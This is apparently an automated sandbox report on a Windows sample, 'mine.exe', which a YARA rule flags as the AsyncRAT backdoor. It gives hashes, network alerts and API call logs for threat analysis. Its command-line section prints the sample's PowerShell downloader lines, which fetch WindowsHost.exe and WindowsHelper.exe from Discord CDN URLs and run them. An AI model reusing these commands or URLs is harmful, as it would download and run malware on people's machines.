popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

mine.exe

Generic Malware Antivirus Malicious Library Malicious Packer PE64 DLL PE32 PE File .NET EXE
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Aug. 24, 2021, 12:26 p.m. Aug. 24, 2021, 12:33 p.m.
Size 974.9KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 abad27b663c16a7458ce9bf4e21b9989
SHA256 bd535149d1a579080708482ee5e4789a83dc33f9e50d27c20624333de5299670
CRC32 12441A56
ssdeep 6144:KRbPgxNUKolPCKZxeUkxChx4ZfAb7nC0WEG05iTeHZ:7xenPV/kxChx4S95d5
PDB Path C:\Users\Administrator\Desktop\WindowsAPI.pdb
Yara
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • Is_DotNET_EXE - (no description)
  • IsPE32 - (no description)
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

Name Response Post-Analysis Lookup
cdn.discordapp.com
A 162.159.135.233
A 162.159.134.233
A 162.159.129.233
A 162.159.130.233
A 162.159.133.233
162.159.134.233
IP Address Status Action
172.67.188.154 Active Moloch
162.159.134.233 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49167 -> 162.159.134.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.102:49170 -> 162.159.134.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.102:49167
162.159.134.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.102:49170
162.159.134.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000259da0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267010
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267010
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267010
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000266e50
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000266e50
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002676a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002676a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002676a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002676a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ace10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ace10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ace10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002677f0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad200
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad200
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad200
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad270
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad270
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267080
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267080
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000267630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad270
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad270
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad3c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ad3c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ce460
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b7ce460
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000026e360
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002faa60
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002faa60
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00000000002faa60
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b876a50
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b876a50
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b876b30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b876b30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b876b30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000001b876b30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
pdb_path C:\Users\Administrator\Desktop\WindowsAPI.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://cdn.discordapp.com/attachments/861164404162035735/877165641059139624/WindowsHost.exe
suspicious_features GET method with no useragent header suspicious_request GET https://cdn.discordapp.com/attachments/861164404162035735/877245844057899028/WindowsHelper.exe
request GET https://cdn.discordapp.com/attachments/861164404162035735/877165641059139624/WindowsHost.exe
request GET https://cdn.discordapp.com/attachments/861164404162035735/877245844057899028/WindowsHelper.exe
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000610000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000700000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1541000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1bdb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 1441792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000aa0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1542000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1544000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1544000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1544000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1944
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1544000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91daa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91dbc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91ed0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91e5c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91e86000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91e60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91ed1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91dab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91dba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91dcb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91dfc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91dcd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91da2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 86016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91ed2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1944
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91dbb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2792
region_size: 2555904
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000029c0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2792
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002bb0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1541000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef17be000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef17be000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef17bf000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef17bf000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef17bf000
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\88448ef6-b35e-4485-b602-2a0409015a38\Module.dll
file C:\Users\test22\AppData\Local\Temp\WindowsHost.exe
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\WindowsHost.exe'
cmdline "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877165641059139624/WindowsHost.exe', '%Temp%\\WindowsHost.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877245844057899028/WindowsHelper.exe', '%Temp%\\WindowsHelper.exe') & powershell Start-Process -FilePath '%Temp%\\WindowsHost.exe' & powershell Start-Process -FilePath '%Temp%\\WindowsHelper.exe' & exit
cmdline powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877165641059139624/WindowsHost.exe', 'C:\Users\test22\AppData\Local\Temp\\WindowsHost.exe')
cmdline cmd /c powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877165641059139624/WindowsHost.exe', '%Temp%\\WindowsHost.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877245844057899028/WindowsHelper.exe', '%Temp%\\WindowsHelper.exe') & powershell Start-Process -FilePath '%Temp%\\WindowsHost.exe' & powershell Start-Process -FilePath '%Temp%\\WindowsHelper.exe' & exit
cmdline powershell Start-Process -FilePath 'C:\Users\test22\AppData\Local\Temp\\WindowsHelper.exe'
cmdline powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877245844057899028/WindowsHelper.exe', 'C:\Users\test22\AppData\Local\Temp\\WindowsHelper.exe')
file C:\Users\test22\AppData\Local\Temp\WindowsHost.exe
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd
